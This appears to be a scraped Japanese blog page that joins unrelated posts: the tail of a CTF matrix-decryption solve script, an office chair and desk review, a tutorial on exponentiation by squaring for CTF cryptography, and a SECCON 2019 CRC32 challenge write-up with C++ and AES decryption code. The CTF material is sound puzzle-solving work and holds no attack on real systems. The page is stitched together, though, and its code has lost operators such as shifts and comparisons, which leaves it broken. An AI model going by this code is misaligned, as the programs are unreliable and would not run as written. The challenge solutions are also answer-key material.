7559634822977851125830670211687658680548763044099170874516709265108758767846112167078737376994795559905149294471550276089335233816311143437884775879040382, 326254091227477180817965783454170870965767896452885532388493678916823013955810072598402438281924110666128100203506218327819701065408806755407311242830738, 5731596309693665523852926746771775355890783262849623500406449060161971464328383264312865196214018797256234617560753577120786636638666677285451693301826874, 7404061235786259951035122313316357035326138605958066151911510399406179421906000352109994409639582191672322145179346551952977284953661871236345035551643559] , [3911261385088713404178680962763362480020705001343376022137877539868703582949786882301468111731738482621273128463078344110346744985662065964717123370890048, 5182347318944101741047020457700515657663431560069338900640991271534150578557263571458602649911502484162274344604878608085914242528813859150266864472864055, 4113917568537120381356457423745534038972536405233025591699403191216749955530513145558907813326761841478883887357886390362468819176094300743319337987695288, 2072785336079346585597399902623343463262963010531407207279118728023210910883994521073623011652275525853218179683112438087816997406431656841576569623210035, 1614395370662982438105904065510318843109739279928729356829880223846164085280733154395904831113364353086361418717316648687269044568724510821076200388146799, 5863778364604464946964497843188609336149950725655659873794081813823455773635006266332380667539003424481763026279565127653919541126052476132072206331424594] , [7983584746949211766343449547629642346296363313500362244066708177449631881826092651075422492952001253228855123960980277966900405689704632714432967498484226, 1288307055386703195839027394387216551385527560692699651477173401131902963469696735151733903079959278020677916910977696831055081573561511073846927376256692, 6270323089735925338179425358013227805458041914301377149014905504918291952361156820790619114360082531273092120840155385794344284855024292991803639522103081, 5782364796584782189497636925354222662254467562076277474323726166388076788964953994373815196911195887319899245026812066447482998182803721563378567961829818, 6113190818954553030552994011835099246796829278768221321371588158185370782968533815899125811940443313705532159850973811576561087696556104923873257882479503, 2676810376308276168570457483867670902787901207942587380088818908288267563610106817220355331680484281456097962585320084246177558207079050833163151172240100]] , [[6062046640329769096066347266899344676518901424429677360646881995838432089480753859799954198529491903772366471182818165193104084715939869694295808095169244, 2645972949243632679993524792763632939476426123910556548564560294095449556121207934796944789997380888272126869359673329287393517342730405719261920502815690, 4078873454171494440712760753790949913288116217555158559586210992551002228548905061438821563993597452426590399655648106687403380921628528355963355080374265, 4333661183316573400164625776320711148398882477506941874412702476023727762467167141000832441759366697420902090012329863483820494712256118052345124078874762, 1643129857177025277330956077514109151247811803981705026717771397102270544586613572184236479067496036405806050260907314693132506357890072792960199482937702, 3186695377530638044448732645215392962402584227103333957181004757567478066955151221187165402121567058163359566953064325563721057900313620317362224465449560] , [4112567272140845118113865323444914152704692913409123036147341332398481620273356124978023098296481278228998395235117080254166863865484884607410534392310433, 5854344777452763751097312294575305394885110378245323007589910653339136099487547731936058883676897252944352967735775656496547751132757455499551970245425695, 1383138462574499208366589677289918289066754568064661123478346405809764044891958550030515860818138813893837769554854346051723380051040706818338266460108085, 3859446362836598601037412670681022610557908363600326437416225834507694256913931635777789583222556658572260420088594981565374903384233104117976716435128615, 5028760960461040237873320988275247800014398438668440684236820078236290946429429847533016197725488392506053663385798495798038029931617686217931659311236577, 6161254689987519993541039359721652203587202489152871519507943406190644699498266677880568298404777283332441875077644287228979625803700792474783257776782898] , [2839585528369409537726670324854672351454758739229786962469516025462840896615626487007817505904636181798101356169880922688301010910248372536318374104030837, 3185034375513710767633230407329300883151496752716040907683365122241815980723188210375562712083768961261355679173009969012309355153692479187436434699711413, 6672246490840772483328152820802055369074899989726836656614268373590524941644149544728485295788618518339997370708760033538160320833911042156114289430168259, 5420252409537029953512981491888019273939802832634059227004256144252860658279882608027272305148901727714247347144753337036141392782353284297264841536836513, 6429854942597383381715468912420195144462372782099126346515096540151062791928464705591391035816405642392728189569695563372806696329669731312290571958735810, 4739973823698645126172000947573053104818869466920332224259684318455703001958106888954074170831875999738674280263907238286553827319483847757151441426037337] , [7160862920770573382803644270243409458344098437187945311730891505022003883855285433976426170530604877024704460410748767481644754029528136169144880271809942, 2982103442515595288480027691778062690974166320158860941512836364746339464602867166278144116624540536139667972898410328295252686833780910040354031954223861, 6801905207555179956663480676263622404196546939273620494586200842625719854748268350134734347190401180541240367661248898456285443367167073411863950249499784, 1804183631544749515380449970137190291551922148246932745543193886115473113238103625577173800110106738950279159165741239630881015351100075657555603208156572, 601303393353936587233143018348327514440537229204925355322863165159291608922791557180307655583347738695334390822114847716269285547628496038850682989195945, 3115043018476760470716778954693273867118177849778686173519197879968835346655049669088025773374695331007216646868547709804147138659886084250136406402373946] , [234732275890345520245269906185880853426295436495492487638898148897993088052508957345280523140452139731256610712171896823418109206081027739725997049682853, 2044344758191381548277686823346016787554087283914005137083650916606115214158766441015566914050850122771946897225094531584945555039517089084999132949468374, 7254754260273505971755055190211929477946291863572727414373604625985840488234836752591368709282254266996209626541708612447084110635848051619312425745792419, 7253664260337944026945613428526836927937258266183047391208573088495421355299785318314244776750560920526330573163746025787662536293742195309918444949322935, 7700794835235627079708396467395803405253945316799593198326551968277842336451710680326440904239414627790908277676500941871815612380684137252049009143144583, 4359667354761477859323604731674300022892629045902113159750662915978964376123159133774964413843996619985211324214953008678665896068362064613729703695684586] , [1982734601050456939622697412656537242410995818999376063699048774745566510719836647800626453301545759203265934880610248959877086754855616793997676519501000, 48444326299314727120264342021096295946188263957294065774623047610650201700284470836672752248859628658272340463659827184321911992786964678919015096092833, 7898882528690416721795166887344597285693019520535720413050562199503248438027405375885046647064471192860726120136404562695218116510707927812379288910405142, 5814915760931558687408291397989673234462869962308320236220753890460437354255210609282226355431168198251409670965884826558309978852728087972301947103526495, 4767523913179602297846755936265701569903707551389517453417811324700532889998073304033759550016535805108271456969527959648026982751361633799472092657434286, 5346704789523742907790623142409450623003295048473687834443737913041729246709285231357410413236097410528723341348129830251075816904565861886692668785582732]] ,C = to_mat([ [[7914132327984568994494883270649976522617339419584229584506320069267100426825780120870985916691616230746312073199739273003383604542199755254171664177084611, 4629776712629310456839625757811438237757065307306314354274828526350520266140179766016721666163654385874219479722183713650673141826852864505630096792189721, 7109204164372242881091925094024019359516091108253460412453366571310406702727031148959274883834909062514400620116562591756691700690727290842392201330872788, 2477559773134163112278937317769341245426053204371422009050567367592349746344450879892782729995511108976496874441648643289285371630272858565243645233997772, 5459877678587757430993568968742145916322083648966017912323213093851741541306674468422028381552505664502178573619525013642403269863611523582838113438963699, 4533850561319753809921018667771099687554603071040623474974671759150963370392613040094306554975171133182503458567984982962204953859396760670470565737289294] , [5343449757099849857840769777066997342636505892090645356193395991104145176841294738919368585450934162811108961397832868384600016965604379061454200372301203, 1103129151964579496425084776093263683101432126361676754196377325350074990644308071155967500791176019665296214184943390296688059347549352037365934949955138, 4633211618656319595822361077837532752589824229121651976824075655607724950274744397342724545215854488249828970851532695298375831137441663711799165905012260, 1142378635202578563995121528757512604785824832961174761942529090983399609747221221100359313680419658913148360441213482866465529903398212065475540281107753, 7054157717567957719036149099411851220142044683803466107213295655009718695697881702017302236225450159546528341540899764632776223069940786924063351909113511, 3124377620355697989207793493460638982912257463919934159069355478358946967537260119064254546754263422314844896114812142404263656938250991950525158189122329] , [3582954385464445051633609412194910501954310865400807954104461037336443952448097916837602428414282311641201394962736563657742667074291829173632356429121860, 3751634377192187688438461016605077306894846758825439550172971308702864693321006221526803973890746948637687111194699251457722023987352978563084604066206392, 6469836409132372383423389593904400360484608990214822698145675592103054135172959919782038268886048766370788577793152790221499470021076842697287128809824716, 7291702808883045213981690179732663971457889104053942053452260890612893624965320906401039537972764864636739967358681895464825791182085739144982987182635699, 3299753974417550414490414013799107429472287039209413803586635670873024010159864814410287887785321413859255563702124618725499396419267594253011453058695665, 8256748339427246020068747450621026909576116516431246273373345876688375617509366683335678087877197103612629520339292051986808534369102511798238519847195826] , [3781612888809757574721491791083186900490945181056011662203424669866448824354699245155713093767699667147704234146189496900196982924950531015334241513401382, 1441227185159609962486765718490329894521945105600143839531490217345659397106380353698212399501875433636729515142714959019326095275246494145877181035418817, 4667669827386245370894887474221521799230065519101908048880250201454346640389680725820864364053381720083360963218910847369365413718623339339707014057956602, 6497087697271785860409372509454324924932647104416678122495914854826753688933949185773561957150489234181663761283750950436059446435033635828461039281191893, 24303749714021422066853220320522782093785924203813745587997307099973056253098798052337823966363261100222814906708352084803660128961942567447633014524323, 4948047469975016041976070123869487345730410005224892018723874308568824112508195260066007656211743464385761979800624180845457585164271927377307621282881482] , [2311236231274214430521863711861390409492558254483679558651966539918976267350234754052165248990122381821778554332481410622118479167054397864336117606769703, 7112696162769751792741511097930473282299866429103877319791352829249242978872309127849912410612476444652257696041027013185592182549694296522184072992258344, 670900800318924754524064350761756947449780512175550856877662840971700134896135544689162339422880571543056204472373171946000715663246113979716744105116364, 1257013013813211928917177461658770061468745337885024039490468945704252059669709771398068625685809197173084826889182441777168181244798297421758785757645816, 7670541068600080731246190686115266527520699113715449700906377627569335299090936689666939385880728437086949946998296712390824453668287895792960050257732700, 477801656897543780130206565511046282794203630041030989732746299664487329519994676419042200405279554430951006645073219338411872667031587208958581843630924] , [4298688725784585139768411709267989930814192997497489035906391531015200859775089864406895675490276200087674026753346242346207362403084607316379244135673147, 4449113101274552188601004601050530818104217769635849707791480317804438859455460290007508349450878333574389214698881472277067463146427398869912440841758560, 7852661916977582595529059003286805430692091224392567243784624688721596428049862573507968530054257973460884826434351919953590997089599078453855570141717668, 1469040138293943931236145059484628468407768140457058426223810726475203075773661416758988227467103058982368053618258786231735244267495262044199307956993801, 7917782387893055716775937224863842109301303026784902768707824273834234694637771018423203435967997819181839780740281536813589650752392482436045244089943192, 3785594509974037367372361126001917741631347551629193942913879321086819286343616686476030466180567764275617014357842750633129567304810960536013531431858527]] ,# assert (((Uorg[i][j] * inv(Uorg[0][0])%p) == U[i][j]))# assert (((Uinvorg[i][j] * inv(Uinvorg[0][0])%p) == Uinv[i][j]))Umat = FiniteGeneralLinearGroup(size, p)Uinvmat = FiniteGeneralLinearGroup(size, p)Cmat = FiniteGeneralLinearGroup(size, p)for i in range(size): for j in range(size): Umat.set_at((j,i), U[i][j]) Uinvmat.set_at((j,i), Uinv[i][j]) Cmat.set_at((j,i), C[i][j])mat = to_mat(encs[0])mmat = Uinvmat*Cmat*Umat*mat[0][0]arr = []for i in range(size): for j in range(size): arr.append(mmat.get_at((j,i)))pad_size = arr[0]arr = arr[pad_size:]res = for v in arr: res += chr(v)print(res)椅子は多くのイラストレータやプログラマが言うように、長時間の作業をサポートしたり腰を守ったりする重要な役割があります。長く座って作業をするものなので、家具屋さんで決めるときはちょっと座って決めるのではなく、一定以上の時間を座ってじっくり考えましょう。アーロンチェアstoresystem.hermanmiller.co.jpハーマンミラーという会社の昔からある椅子です。歴史のある椅子ですが、実はアップデートがあってちょっとデザインが変わっていることがあります。(なので、中古品等を検討する場合は注意しましょう。)リクライニングの硬さ変更や、アームレストの高さ変更など、高級椅子に備わっている基礎機能は大体ありますが、最近の椅子に見られる座面の移動や、ヘッドレストなどは正規品ではついてきません。どこの部分が動くのか、どうやって動くのかは意外と難しいので、店員さんに教えてもらいましょう。ネット上ではここで確認できます。hermanmiller-maintenance.jpなんと言ってもやはり特徴的なのが、前傾姿勢モードでしょうか。高い椅子を使っていても、やはり猫背気味になって背もたれに背が当たらなくては意味がありません。そこで、猫背になっても背もたれが追従してきて、意地でも背もたれを使わさせてくるのがこの「前傾姿勢モード」です。実際使ってみると、ゆりかごのように椅子全体が形を変え、椅子が体にひっついてくる感じが独特で個人的にハマりました。値段は20万弱と機能や座り心地のわりに少し高い設定になっています。これはおそらく「ハーマンミラーのアーロンチェア」というブランドが少し高くさせているのだと思います。アーロンチェアについて特筆すべき項目をまとめると、といった感じです。私は今アーロンチェアを使っています。エルゴヒューマンwww.ergohuman.jpエルゴヒューマンには色々種類がありますが、足置きとか手元にPC置くやつとかいろんなパーツを付けることができます。また、10万円前後と、アーロンチェアの半額強程度の金額で買うこともでき、コスパがいいです。エルゴヒューマンの特徴は、「独立ランバーサポート」でしょうか。人間の背骨はS字になっているので、一直線の背もたれだと人間の体にフィットしません。S字の凹んでいるところにフィットさせて、負担を分散させるのが「ランバーサポート」なのですが、エルゴヒューマンのこれは独特で、独立して動きます。なので、とても存在感があり、人によっては座ったときの「異物感」を感じるかもしれません。このランバーサポートに体が合うかどうかがこの椅子を選択できるかどうかにかかっている印象があり、実際に座ってみて決める他ないと考えています。その他ベーシックな機能としてはアーロンチェアと一緒です。エルゴヒューマンについて特筆すべき項目をあげると足を置くやつやPCの台をつけられたり、アタッチメントが正規品で充実している独立ランバーサポートが独特でかなり好みを選ぶヘッドレストもつけられる。値段が10万程度と機能の割にコスパがいいといった感じです。ランバーサポートが私は合わなかったので、この椅子は候補にあがりませんでした。バロンチェアwww.kagu-r.comバロンチェアも比較的後発の椅子なので、アーロンチェアに比べて多機能です。座面移動とかもありますね。アーロンチェア、エルゴヒューマンと椅子を紹介してきましたが、バロンチェアは「オカムラ」という日本の会社が作っている椅子です。日本製の椅子なので、やはり日本人に合うのか周りの知り合いに椅子を紹介したときにバロンチェアが一番フィットすると言う人が多い気がします。会社もオカムラを使っているところが多い気がしました。バロンチェアは「包み込まれるような」座り心地で、体を後ろに倒して、頭もヘッドレストにおいてリラックスした体制での長時間の作業に向いている椅子な気がしました。日本人にとってバロンチェアは長所はあれど短所はない、オールラウンダーな性能をしている感じがありました。ただし、後傾姿勢を前提とした設計をされている気がしており、前傾姿勢重視だとアーロンチェアに軍配が上がる気がしています。値段は15万円ほどと、アーロンチェアとエルゴヒューマンの中間くらいの値段をしており、こちらも無難な金額だと思います。特筆すべき項目をあげるとといった感じです。最後の最後までアーロンチェアと悩みましたが、私は前傾姿勢で短時間で作業をすることが多いので、アーロンチェアを選びました。机は椅子に比べてブランド云々で選ばなくて大丈夫だと思います。ブランド観点では選ばなくていいと思いますが、いくつか観点があるので、そちらを列挙していこうと思います。ちなみに私はこれを使っています(高い…)rdpp-me.org大きく分けて、以下の観点があると思っています原則大きければ大きいほどいいです。冒頭で述べたものが机の上に乗っていますが、私は横幅150cmの机を使用しています。横幅150cmあれば、モニタが2枚置けて、さらになにかを執筆するスペースを確保することができます。かなりはかどります。机を買うときに気にならないがちなのですが、奥行きも重要です。 奥行きがあればキーボードを奥に寄せて紙で何かを執筆するスペースを確保することができますし、ペンタブも十分に置くことができます。モニター+キーボード+リストレストだと意外と縦幅を消費してギリギリになるので、70cm~あればギリギリって感じですね。私の使い方だと75~80cm以上あれば大丈夫かなという印象です。80cm以上になると、「オフィスチェア」よりも「ダイニングテーブル」になってくるので、机の探し方には気をつけましょう。人が一人食事するスペースが奥行き40cmと言われており、80cmはそれが二人分入るスペースだからと言われています。高さ、引き出し自分にあった高さのものを買いましょうになるのですが、椅子との相性もあるので、家具屋さんで確かめれる場合は、椅子とセットで考えましょう。また、椅子を机の下に収納する場合も高さの制約が付きます。また、引き出しがある場合、アームレストがついている椅子だと絶望的になるので引き出しの有無はそこまで考えて購入しましょう。私は引き出しがついていない机を購入しました。重い軽いは机の安定感に影響します。下にカーペットを引いているかどうかにも影響しますが、あまりに軽すぎるものには気をつけましょう。天板の素材IKEA等で購入する場合、安い天板がいくつかありますが、あまり安い天板はものを載せていると歪むものがあります。事前にレビューを確認して購入しましょう。足元がスッキリしているかどうかは意外と重要です。たとえば、机の足元や奥に天板に張り付く形でガードのようなものがついているものがありますが、モニターアームを取り付ける際にそれらがじゃまになってつかないケースもあります。袖机の有無袖机の上は基本的に使いづらく、物置になっている机をいくつか見ました。モニターをおいてそこは基本的に使わないという意思があるのであればそれでもないないのですが、広く使いたい方には相性が相性が悪い可能性があります。L字にするかどうかL字はいいぞ！！！とおすすめする方も多いのですが、欠点もあります。たとえば、掃除がしにくくなったり、L字の短い辺の位置を交換できないものは引っ越ししたときの部屋のレイアウトに制限がかかる可能性があります。広さは魅力ですが、気をつけて購入しましょう。昇降機能付きの机知り合いいわく、手で回すやつよりは金を払って電動式にしたほうがいいそうです。私は机の広さを満たして、なおかつ買える金額の昇降式の机がなかったので購入を断念しました。なにか知っている情報があれば教えてください以上、私的な椅子と机のレビューでした。机に関しては特にブランドに強いこだわりがなかったのですが、どこに行ってもほしい性能を満たす机がなく、結局椅子机すべて大塚家具で揃える形になってしまいました。高級な椅子や机は多機能だったり素人にはわかりにくい、長時間使わないとわからないような特徴があったりするので、積極的に店員さんに話しかけましょう。私が近くにいる場合は私もお手伝いします！！！ はじめに このブログは以前SECCONで解いた「Crazy Repetition of Codes」という問題の 解説記事(https://kurenaif.hatenablog.com/entry/2019/10/20/213842) の前提知識である、繰り返し二乗法というアルゴリズムを解説する記事になります。 繰り返し二乗法 繰り返し二乗法はその名の通り、二乗を繰り返して、効率的に 乗を求めるアルゴリズムです。例えば、 を求めたいとします。pow() 関数のような関数を使わずにこの値を求めたい場合は、int x = 1;for(int i=0;i i++){ x *= x;のようなコードを書いて求めるのがお手軽です。この書き方で 乗を求めようとすると になりますね。 ( )のほうが適切という説もありますが、このブログでは計算量をすべてビッグオー記法で説明します。)しかし、人間が計算する場合は を求める場合は順番にかけていくことは少ないと思います。例えば、 を求める場合は と二乗を意識して計算することが多いのではないでしょうか。 8回計算しなければならなかった掛け算が、3,4回の計算で収まりましたね。 を求めたい場合は、 を知っているので、 を計算すれば良さそうです。 これは電卓が必要になりますが、コードで実現する場合は実質電卓で計算しているようなものなので、気にしなくて良さそうですね。では、この工夫した計算方法では何回で計算が終わるのでしょうか？乗数が倍々になっているので、 番目の乗数は になっていそうです。逆に考えると、乗数 の 計算回数が知りたい場合は log を取ればいいので、 になりそうですね。 や を求めたい場合は良かったのですが、例えば を求めたい場合はどのようにすればよいでしょうか？幸いなことに、世の中には2の乗数で任意の整数を表現する方法があります！2進数です！ は2進数表現で です！ なので、 で求めることがきますね！よって、大まかなアルゴリズムの流れは1が立っているbitに対応する乗数を掛けていくといった流れになります。具体的なソースコードは以下のようになりますね。int pow(int x, uint64_t n) { int res = 1; while (n 0) { if (n 1) res = res * x; x = x*x; n = 1; return res;これで任意の整数 に対して、 で 乗を求めることができました！大きな 乗を求めたい場合は多倍長整数を使うか、剰余を求めて有限体上で計算することが多いと思います。掛け算をしたあとでも mod計算は有効なので、xの10億乗を で割ったあまりを求めたい場合もこのやり方は有効です。ちなみに、Pythonのpow関数では第3引数に剰余を与えることができ、計算も高速なので、気軽に整数の剰余を求めたく、Pythonを使用している場合はpow関数を使えば良いでしょう。言語や実装によっては遅い場合もあるので、自前で pow を用意したほうがいい場合もあります。 CTFにおけるCryptographyと行列 CTFにおけるCryptographyでは、アルゴリズムの内容を式に落とし込むことで考察が進むことが多々あります。最近私が解いた問題では、SECCON Beginners CTFのPartyが直球でそういう問題でした。kurenaif.hatenablog.comある(平文)ベクトル があり、処理 をかけたら (暗号文)ベクトル になる。ということが行列演算で表現できた場合、以下のような式になります。もし、 と が与えられ、 がわからないという問題だった場合、 の逆行列を求めることで、 を求めることができます。Cryptoで逆行列を求めたい場合の注意事項ですが、大体の場合は64bit整数に収まらないので、 numpy 等の機能を使用すると、bitが溢れてオーバーフローします。自前で実装するか、 Z3 などを使うと良いでしょう。また、行列演算も普通の整数ではなく、有限体を扱う場合もあるので、問題に合わせて使うツールやアルゴリズムを選択しましょう。高速に逆行列を求める必要がない場合は自前で実装しても良いかもしれませんね。逆行列を用いて解く問題の例として、この問題を作ったので、よろしければ解いてみてください！github.comgithub.com他にも、メルセンヌ・ツイスタという擬似乱数生成アルゴリズムも、624個連続した値を取得できれば次の値を予測できるということで有名ですが、これもアルゴリズムが行列で表現でき、逆行列が求められるからという說明が可能です。 行列表現と繰り返し二乗法 アルゴリズムを行列で表現できると、逆行列を使用することで平文を逆算できるといいましたが、例えばどういうものが行列表現にできるのでしょうか？暗号とは関係ありませんが、有名所ではフィボナッチ数列があります。フィボナッチ数列は、以下で求められる数列です。a[i] = a[i-1] + a[i-2]a[0] = 0a[1] = 1この式は、実は行列で表現することが可能です。n番目のフィボナッチ数列の要素は、のようにして求められます。行列表現をすることにより、n番目のフィボナッチ数列を で求められることにお気づきになられたでしょうか？ 行列の掛け算を繰り返し二乗法で求められるからですね。フィボナッチ数列の他にも、同じあみだくじを 個連結させた時の最終結果も繰り返し二乗法で、 で求めることができますし、グラフを隣接行列形式に落とし込んで繰り返し二乗法を用いるケースもあります。競技プログラミングで使用する場合は、行列積に3乗のオーダーがかかるので、大きな行列の計算になる場合は気をつけましょう。(100個の和を求めるフィボナッチ数列みたいな問題は危なそうですね)序盤で述べた SECCON 2019 Online CTF Crazy Repetition of Codes では、CRC32というアルゴリズムを 回適用した結果を求めるという内容になっています。この回数を愚直に計算しているとコンテスト期間中に到底間に合いませんが、CRC32をうまく行列表現し、繰り返し二乗法でlogオーダーに抑えることで現実的な時間で解けます。 では、CRC32を求める過程をうまく行列表現し、logで求めています。私のアルゴリズムでは の計算量がかかり、多倍長整数演算も行うので比較的速い言語で解いても50分ほどかかりますが、どうやら で抑える方法もあるらしく、かなり高速に求める手法もあるみたいです。 このブログでは、繰り返し二乗法の說明から、行列表現、CTFにおけるCryptographyや競技プログラミングでの行列の扱い方の一例を取り上げました。問題を数式で表現すると、様々な性質が見えてくることもあり、考察が捗ることも多くあります。もし行き詰まった場合は一度数式に落とし込んで、世の中の使える定理を調べてみてはいかがでしょうか。Cryptoが3問出たので3問ときました。特にほか２つは言うことがないので、Crazy Repetition of Codes のwriteupを書きます。crc32 という符号化を int("1"*10000) 回かけたので、その値を求めてね！という問題です。import osfrom Crypto.Cipher import AESdef crc32(crc, data): crc = 0xFFFFFFFF ^ crc for c in data: crc = crc ^ ord(c) for i in range(8): crc = (crc 1) ^ (0xEDB88320 * (crc 1)) return 0xFFFFFFFF ^ crckey = b crc = 0for i in range(int( 1 * 10000)): crc = crc32(crc, TSG )assert(crc == 0xb09bc54f)key += crc.to_bytes(4, byteorder='big')crc = 0for i in range(int( 1 * 10000)): crc = crc32(crc, is )key += crc.to_bytes(4, byteorder='big')crc = 0for i in range(int( 1 * 10000)): crc = crc32(crc, here )key += crc.to_bytes(4, byteorder='big')crc = 0for i in range(int( 1 * 10000)): crc = crc32(crc, at )key += crc.to_bytes(4, byteorder='big')crc = 0for i in range(int( 1 * 10000)): crc = crc32(crc, SECCON )key += crc.to_bytes(4, byteorder='big')crc = 0for i in range(int( 1 * 10000)): crc = crc32(crc, CTF! )key += crc.to_bytes(4, byteorder='big')flag = os.environ['FLAG']assert(len(flag) == 32)aes = AES.new(key, AES.MODE_ECB)encoded = aes.encrypt(flag)assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e')ここで、crcを引き継いで使用していることがわかります。 crc のwikipediaを読んで頂くと、割り算のあまりを求めてるんだなぁという気持ちになると思います。一つの文字の場合、例えばTの場合は 0x[ord('T')]000000 = 0x54000000 ([]の部分は置き換えてねという意味で使ってます)の余りを求める問題になります。文字列の余りはどういうことかというと、例えば、TSGの場合は 0x[ord('T')]000000[ord('S')]000000[ord('G')]000000 の余りを求める問題になります。crc を引き継いでいるので、二回ループを回ったときは TSGTSG、3回ループを回ったときには TSGTSGTSG のように、文字列そのものの長さが長くなっていくイメージです。さて、愚直に計算すると 10^10000 の計算をしなければならなく、1秒あたりに10^10回計算できたとしても10^9990秒かかるので無理です。色々考えると、以下の2つの手法を思いつきました。状態遷移をグラフとみなして閉路検出する方法crcの状態量は高々 0x100000000 = 2^32 個しかないので、1e10000 もループを回していいたら、必ずどこかで巡回するはず。状態遷移をグラフとみなして、閉路を検出したらあとは割り算して余りの個数分回せばいいので、テーブル作成で最大 2^32、余りの個数が最大で2^32-1回で合わせて 2^33-1 回の計算で間に合うはずです。 1e10000 よりだいぶ少なくなりましたね。適当に実装したため、メモリ使用量がえぐぐて諦めました。 冷静に考えて vector bool の最適化を考えればそれを使うべきでした。kusanoさんがこの解き方ですqiita.com繰り返し二乗法を使った方法もし、この割り算の余りを求める処理を行列で表すことができれば繰り返し2乗法を使って、log(1e10000) = 23025 回くらいで計算を終わらせることができるはずです。残念ながら、割り算の余りの処理を行列にすることは失敗したのですが、近いアプローチには成功しました。zlibの実装には、crc32_combine というものがあります。これはどういう関数なのかというと、 crc1 = crc32("ABC"), crc2 = crc32("DEFG") だとすると、 crc32_combine(crc1, crc2, len("DEFG")) を渡すと、結合して crc32("ABCDEFG") を求めてくれるという関数です。ソースコードを読み解いていくと、実は crc2 は最後の最後にしか現れなくて、 crc1 をずらす処理にほんとどの行数がかけられています。crc1 をずらしていくというのはどういうことかというと、 crc32("ABC") から crc32("ABC\0\0\0\0") を 求めて、DEFG が入る隙間を用意してあげる処理のことです。隙間を作ったら、crcの世界では足し算はxorで表現するので、 crc32("ABC\0\0\0\0") ^ crc32("DEFG") = crc32("ABCDEFG") が求まるということですね。zlibの実装では、ここを行列の繰り返し二乗法を使って求めているので、O(log(文字列の長さ)) の時間がかかることが読み取れます。このcombineを使って、crc1 = crc32( TSG ) # crc1 = TSG crc2 = crc_combine(crc1, crc1, 3) # crc2 = TSGTSG crc4 = crc_combine(crc2, crc2, 6) # crc4 = TSGTSGTSGTSG このように倍々に増やしていき、２進数表記で組み合わせれば求まります。たとえば 6( = 0b110) ならば、crc6 = crc_combine(crc4, crc2, 6)のようにすれば求まりますね。ダブリングでもO(log(文字の長さ))なので、全体の計算量的にはcombineがlogであることを考慮して、、log(文字の長さ)^2 で、おおよそ10^10くらいです。 ちょっと多いですがまあどうにかなるでしょう。ちなみに実装が終わったタイミングで残り90分でした。死ぬかと思いました。(6並列で計算を回してギリギリ間に合いました。)zlibのソースコードを参考にしつつ、K R時代のC言語をC++に直しつつ、lengthは uint64_t に入らないのでboostのBintに直しつつで、こんな感じのコードになりました。// reference: https://github.com/madler/zlib/blob/master/crc32.c#include string #include iostream #include unordered_map #include vector #include boost/multiprecision/cpp_int.hpp using namespace std;namespace mp = boost::multiprecision;using Bint = mp::cpp_int;constexpr int GF2_DIM = 32;uint32_t gf2_matrix_times(const array uint32_t, GF2_DIM mat, uint32_t vec) uint32_t sum; sum = 0; int i = 0; while (vec) { if (vec 1) sum ^= mat[i]; vec = 1; i++; return sum;void gf2_matrix_square(array uint32_t, GF2_DIM square, const array uint32_t, GF2_DIM mat) for (int n = 0; n GF2_DIM; n++) square[n] = gf2_matrix_times(mat, mat[n]);uint32_t crc32_combine(uint32_t crc1, uint32_t crc2, Bint len2){ int n; unsigned long row; array uint32_t, GF2_DIM even; /* even-power-of-two zeros operator */ array uint32_t, GF2_DIM odd; /* odd-power-of-two zeros operator */ /* degenerate case (also disallow negative lengths) */ if (len2 = 0) return crc1; /* put operator for one zero bit in odd */ odd[0] = 0xedb88320UL; /* CRC-32 polynomial */ row = 1; for (n = 1; n GF2_DIM; n++) { odd[n] = row; row = 1; /* put operator for two zero bits in even */ gf2_matrix_square(even, odd); /* put operator for four zero bits in odd */ gf2_matrix_square(odd, even); /* apply len2 zeros to crc1 (first square will put the operator for one zero byte, eight zero bits, in even) */ do { /* apply zeros operator for this bit of len2 */ gf2_matrix_square(even, odd); if (len2 1) crc1 = gf2_matrix_times(even, crc1); len2 = 1; /* if no more bits set, then done */ if (len2 == 0) break; /* another iteration of the loop with odd and even swapped */ gf2_matrix_square(odd, even); if (len2 1) crc1 = gf2_matrix_times(odd, crc1); len2 = 1; /* if no more bits set, then done */ } while (len2 != 0); /* return combined crc */ crc1 ^= crc2; return crc1;uint32_t crc32(uint32_t crc, uint32_t data){ crc = 0xFFFFFFFF ^ crc; crc = crc ^ data; for(unsigned int i=0;i 8;++i){ crc = (crc 1) ^ (0xEDB88320 * (crc 1)); return 0xFFFFFFFF ^ crc;uint32_t crc32_str(uint32_t crc, const string data){ for(char c: data){ crc = crc32(crc, c); return crc;int main(int argc,char *argv[]){ string S = argv[1]; uint32_t crc = crc32_str(0, S); Bint length = S.length(); string num = ; for(int i=0;i 10000;++i) num+= 1 ; Bint n(num); uint32_t res = 0; while(n 0){ cerr n endl; if (n 1) { res = crc32_combine(res, crc, length); crc = crc32_combine(crc, crc, length); length = 1; n = 1; cout res endl;50分くらい実行したら、crcが求まるので、それをもとに key を求めて、AES_ECBのdecryptをするだけです。import osfrom Crypto.Cipher import AESfrom binascii import unhexlifykey = b crc = 2962998607assert(crc == 0xb09bc54f)key += crc.to_bytes(4, byteorder='big')crc = 3836056187key += crc.to_bytes(4, byteorder='big')crc = 2369777541key += crc.to_bytes(4, byteorder='big')crc = 3007692607key += crc.to_bytes(4, byteorder='big')crc = 1526093488key += crc.to_bytes(4, byteorder='big')crc = 3679021396key += crc.to_bytes(4, byteorder='big')# flag = os.environ['FLAG']# assert(len(flag) == 32)# encoded = aes.encrypt(flag)# assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e')aes = AES.new(key, AES.MODE_ECB)cipher = unhexlify(b 79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e )print(aes.decrypt(cipher).decode())

TAGS:雑記 

<<< Thank you for your visit >>>

Hot Websites